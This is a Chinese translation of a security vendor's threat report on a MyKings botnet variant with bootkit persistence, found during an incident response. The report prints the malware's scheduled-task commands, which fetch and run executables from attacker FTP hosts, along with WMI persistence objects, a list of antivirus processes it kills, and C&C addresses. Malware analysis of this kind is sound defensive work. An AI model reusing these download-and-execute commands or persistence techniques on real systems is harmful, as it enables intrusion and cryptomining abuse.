MDR 找到埋伏某公司系統2年的MyKings變種

亞太地區一家電子公司在五月導入託管式偵測及回應(Managed Detection and Response,簡稱MDR) 服務時,趨勢科技的Deep Discovery Inspector 偵測到了 EternalBlue(永恆之藍) 相關可疑活動,這漏洞攻擊之前常被用於WannaCry(想哭)勒索病毒。我們發現後向該公司發出了第一次的警報,通知這個可能的威脅。

我們幾天後想辦法找到了惡意通訊證據,公司一台電腦會連到下列網址(我們確認為感染載體):

  • hxxp://js[.]mykings.top:280/v[.]sct
  • hxxp://js[.]mykings.top:280/helloworld[.]msi

網址包含了單字「mykings」,這跟我們之前在2017年8月分析殭屍網路時所看到的命令和控制(C&C)伺服器類似。這給了我們關於此威脅身份的第一個線索。

此外,我們發現電腦系統註冊表遭到了更改,代表被用作為持續性機制。這些註冊表項負責前面所提到網址的C&C通訊:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start”
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start1”
  • HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start”
  • HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start1”

惡意軟體在被發現前已經隱藏在公司系統內大約2年

更深入研究後,我們發現這些註冊表值是在2017年加入,顯示惡意軟體在被發現前已經隱藏在公司系統內大約2年。這造成了另外一個問題,因為時間點對確任MyKings的實際有效載荷很重要。有許多殭屍網路組件(包括C&C伺服器網址和下載網址)都只會存活短短的時間,非常容易消失。跟使用內嵌網址和檔案的病毒不同,MyKings跟腳本綁在一起,只從遠端伺服器下載所需的一切。

 Figure 1. The registry entries that were added in 2017

圖1. 2017年加進去的註冊表項

在調查期間,我們還確認了其他幾種持續性機制,跟我們之前2017年的研究一致。除了自動執行的註冊表項外,我們還發現了排程工作和Windows Management Instrumentation(WMI)物件(參見表1和表2):

工作名稱 執行字串
Mysa cmd /c echo open down[.]mysking[.]info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe”}
Mysa1 rundll32.exe c:\\windows\\debug\\item.dat
Mysa2 cmd /c echo open ftp[.]ftp0118[.]info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\\windows\\debug\\item.dat>>p&echo bye>>p&ftp -s:p”}
Mysa3 cmd /c echo open ftp[.]ftp0118[.]info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\\windows\\help\\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\\windows\\help\\lsmosee.exe”}
Ok rundll32.exe c:\\windows\\debug\\ok.dat

表1. 排程工作和對應的執行字串

WMI物件 備註
__EventConsumer Name : fuckyoumm2_consumer EventConsumer的程式碼片段
__EventFilter Name:fuckyoumm2_filter Query: select * from __timerevent where timerid=”fuckyoumm2_itimer”
__FilterToConsumerBinding __FilterToConsumerBinding.Consumer=”\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name= \”fuckyoumm2_consumer\””,Filter=”\\\\.\\root\\subscription:__EventFilter.Name=\”fuckyoumm2_filter\””

表2. WMI物件和相關資訊

我們的分析顯示該變種保留了基本的基礎設施。但還是有些值得注意的事情,我們會在技術分析裡詳細討論。

提供攻擊的脈絡資訊

殭屍網路迅速普及已是近期最嚴重的網路安全問題之一。截至2018年初,光MyKings就已經感染了超過50萬台電腦,並挖礦挖了將近230萬美元。在接下來的幾個月裡,MyKings不斷地改變其目標和感染方法。

趨勢科技2017年的區域分析顯示,當年大部分的感染都發生在亞太地區。我們發現的攻擊時間點可能顯示它是2017年攻擊活動的一部分。

組織在這起事件所面臨的主要挑戰之一是必須將所有看似無關的指標拼湊在一起,好更清楚地了解攻擊全貌。因為病毒感染發生在2017年,這代表惡意軟體有足夠的時間活動並提供各種的有效載荷,這讓事情變得更加複雜。

檢視我們的網路感應器時,沒有MyKings相關知識或經驗的人可能會以為攻擊使用了來自不同惡意份子的多種惡意軟體。從圖2可以看出包含了不同類型的惡意軟體,如後門程式、虛擬貨幣挖礦病毒和木馬程式。

 Figure 2. The attack as shown on the Trend Micro Deep Discovery Inspector dashboard

圖2. 趨勢科技Deep Discovery Inspector主控台所顯示的攻擊活動

此外,MyKings使用多種持續性機制,因此很難從受感染電腦內移除。我們會在下一節裡詳細闡述。

技術分析

使用開機型病毒(bootkit)作為持續性機制

當我們在2017年首次調查MyKings時,我們關注的是虛擬貨幣挖礦殭屍網路如何利用WMI來作為持續性機制。就跟Mirai一樣,MyKings似乎不斷地改變其感染程序。我們在此事件分析的變種使用了不止一種的持續性機制,就如上一節所述。除了WMI之外,它還使用了註冊表、工作排程和bootkit – 裡面最值得注意的是bootkit(趨勢科技偵測為Trojan.Win32.FUGRAFA.AB)。

Bootkit使用了檔案名稱lsmosee.exes.rar(在今年的報告中,程式碼也可以在ok.exe內找到,但我們無法確認這一點,因為網址在我們進行調查時已經無法存取)。它會先取得磁碟控制並檢查通常包含MBR的第一個磁區,然後檢查其程式碼是否已寫入磁碟。

 Figure 3. The bootkit checking the MBR

圖3. Bootkit檢查MBR

接下來,它會檢查MBR是否已經感染了其他bootkit,然後會試著在繼續修改前先回復MBR。Bootkit接著會將原本的MBR複製到第二個磁區,用自己的開機碼覆蓋現有的MBR,接著繼續在磁碟寫入其餘開機時會執行的程式碼。

核心模式例程

Bootkit會先讀取位在第三個磁區的程式碼並將其載入到更高的地址 – 在本案例中為0x8f000。惡意程式碼總共被分佈到60個磁區。

 Figure 4. Distribution of the code to 60 sectors

圖4. 程式碼分佈到60個磁區

開機碼的主要目的是為了持續性和自我保護。它還會透過非同步過程呼叫(APC)注入技術將惡意軟體程式碼寫入使用者空間程序。為了做到這一點,它會更改中斷描述表內INT 15的地址(如下圖所示),使得在呼叫INT15時會將執行重新導到0x8F00:0x0247。

 Figure 5. Changing the address of INT15 in the Interrupt Descriptor Table

圖5. 更改中斷描述表內INT15的地址

這樣做了之後,原本的MBR(放在第二磁區)會在啟動系統前執行。

一旦呼叫INT15(最可能發生在系統開機過程),惡意軟體的開機碼會進一步地變動數個核心層級函數。最終,它會執行APC注入並終止表3內的所有防毒程序。

avp.exe acaegmgr.exe sapissvc.exe
zhudongfangyu.exe Rtvscan.exe scsecsvc.exe
superkiller.exe avastsvc.exe avgsvc.exe  
360sd.exe bdagent.exe aycagentsrv.ayc
360safe.exe mcshield.exe liveupdate360.exe
360rps.exe mcsvhost.exe 360rp
kavfs.exe mfefire.exe qqpctray.exe
sragent.exe mfemms.exe Mcshield.exe
QQPCRTP.exe arwsrvc.exe SHSTAT.EXE
systemaidbox.exe dwarkdaemon.exe naprdmgr.exe
avgnt.exe vssery.exe avgui.exe
avengine.exe avguard.exe gziface.exe
msmpeng.exe ahnsdsv.exe ekrn.exe
nissrv.exe asdsvc.exe dwengine.exe
msseces.exe kavfswp.exe spideragent.exe
ccSvcHst.exe mbamservice.exe bdagent.exe
ekrn.exe mbam.exe smsvchost.exe
nod32krn.exe qhpisvr.exe avastui.exe
aswidsagenta.exe quhlpsvc.exe ksafe.exe
afwserv.exe savservice.exe  
v3svc.exe hipsmain.exe  
  hipsdaemon.exe  

表3. 被bootloader終止的程序列表

會被注入程式碼的程序(Winlogon、檔案總管或Svchost)根據Windows版本等條件不同而有所不一樣。

 Figure 6. The code being injected into explorer.exe

圖6. 注入explorer.exe的程式碼

如果顯示失敗,它會改注入svchost.exe。

使用者模式程序(winlogon.exe/explorer.exe/svchost.exe

注入的使用者空間程式碼主要是會從C&C伺服器下載一段程式碼,其地址來自hxxp[://]www[.]upme0611[.]info/address[.]txtaddress.txt的內容隨時間而變化。在我們的測試期間,它包含了以下內容:

[main]   count=6   ip1=http[://]208.110.71.194   ip2=http[://]80.85.152.247   ip3=http[://]66.117.2.182   ip4=http[://]70.39.124.70   ip5=http[://]150.107.76.227   ip6=http[://]103.213.246.23   [update]   count=6   ip1=http[://]208.110.71.194   ip2=http[://]80.85.152.247   ip3=http[://]66.117.2.182   ip4=http[://]70.39.124.70   ip5=http[://]150.107.76.227   ip6=http[://]103.213.246.23

建立起C&C伺服器連線後,會從上述伺服器其中之一下載可由受感染程序執行的shellcode – TestMsg.tmp。它會參考cloud.txt並包含以下文字,每次都有所不同:

[config]   url=about:blank   exe=http[://]185.22.172.13/upsupx.exe

檔案upsupx.exe會被下載儲存成C:\Windows\Temp\conhost.exe並執行。

主下載器(upsupx.exe/conhost.exe

惡意軟體為取得C&C伺服器地址及下載其他有效載荷而執行的HTTP請求列表整理如下:

A screenshot of a cell phone

Description automatically generated

圖7. MyKings向C&C伺服器發送的HTTP請求

它會建立C:\Program Files\Common Files\xpdown.dat,裡面包含了C&C伺服器列表。最初的列表如下:

  • ok[.]xmr6b[.]ru
  • 74[.]222[.]14[.]61
  • 45[.]58[.]135[.]106
  • 103[.]95[.]28[.]54
  • 103[.]213[.]246[.]23

它接著會選擇其中一個伺服器來下載更新的xpdown.dat。在我們的分析中,它從伺服器45[.]58[.]135[.]106下載,裡面包含以下內容:

  • Ok[.]xmr6b[.]ru
  • 61
  • 74[.]222[.]14[.]61
  • 139[.]5[.]177[.]10
  • 45[.]58[.]135[.]106

一但選定伺服器,它會將HTTP請求發送到{server}/ok/down[.]html、{server}/ok/64[.]html和{server}/ok/vers[.]html,如下圖所示:

A screenshot of a social media post

Description automatically generated

圖8. 發送到其他伺服器的HTTP請求

我們用32位元的電腦進行測試,惡意軟體會繼續從45[.]58[.]135[.]106下載。但下載伺服器可能會根據受感染電腦是32位元還是64位元而有所不同。

它接著會下載kill.txt,這是在最終從downs.txt取得下載和執行檔案列表前要終止的程序列表:

Figure 9. Downloading downs.txt

圖9. 下載downs.txt

進一步檢查這些下載的檔案,可以看出它們的目的是為了在系統重啟時重複感染週期。刪除可見的持續性機制不會完全消除感染狀況。Msief.exe是一個包含c3.bat批次檔的自解壓縮檔,這批次檔會進行所有的工作排程、WMI和註冊表自動啟動。

託管式偵測及回應如何幫助處理MyKings這樣的殭屍網路?

在這種情況下,趨勢科技託管式偵測及回應這樣的外包資安服務成為寶貴的資產。MDR提供了調查事件和分析威脅的能力,更重要的是可以關聯看似無關的指標來獲取事件全貌,為攻擊提供脈絡資訊。

特別可以從此案例看出此服務的好處,感染事件在兩年來都未被發現。我們所用的工具及對MyKings的熟悉讓我們可以快速地識別出威脅,並接著為受影響的公司提供補救策略。

提供了擁有豐富經驗且專長複雜安全工具的資安專家,更快更有效地來識別感染鏈並關聯網址偵測、漏洞攻擊、自動啟動機制和惡意檔案。底下的圖表說明了如何使用資安工具來簡潔地描述出像MyKings這樣複雜的殭屍網路。

 Figure 10. Bootkit installation chain showing access to DR0 (MBR)

圖10. Bootkit安裝鏈顯示對DR0(MBR)的存取

Figure 11. The infection chain upon restart, with the persistence mechanisms like WMIC.exe, schtasks.exe, and reg.exe clearly visible

圖11. 重啟後的感染鏈,WMIC.exe、schtasks.exe和reg.exe等持續性機制清晰可見

除了精通內部及外部的威脅情報資源外,趨勢科技的 MDR 團隊還擁有使用趨勢科技進階安全解決方案的經驗,包括了趨勢科技的Deep Discovery Inspector,可以偵測威脅在組織內部的橫向移動。

入侵指標(IoC

檔案名稱 SHA-256雜湊值 偵測名稱
b2.exe / msief.exe e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201 Backdoor.Win32.MIRAI.THGBIAI
s / p 7a4f2f2702fababb0619556e67a41d0a09e01fbfdb84d47b4463decdbb360980 BAT_DLOAD.SMJ
ps d5f907f9d2001ee5013c4c1af965467714bbc0928112e54ba35d142c8eab68bf BAT_DLOAD.SMJ
upsupx.exe 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd Win32.MALXMR.TIAOODBF
item.rar / item.dat 80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4 Coinminer.Win32.WMINE.AA
ps ab26a859633d1ec68e021226fab47870ed78fc2e6a58c70a7a7060be51247c1d Trojan.SH.BOTGET.AA
s.rar a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d Trojan.Win32.FUGRAFA.AB
item.dat 79bcb0b7ba00c4c65bf9b41cfe193fd917d92ab1d41456ac775836cec5cadc9a Trojan.Win32.SYMMI.AA

@原文出處:Uncovering a MyKings Variant With Bootloader Persistence via Managed Detection and Response 作者:Miguel Ang,Erika Mendoza和Buddy Tancio(趨勢科技)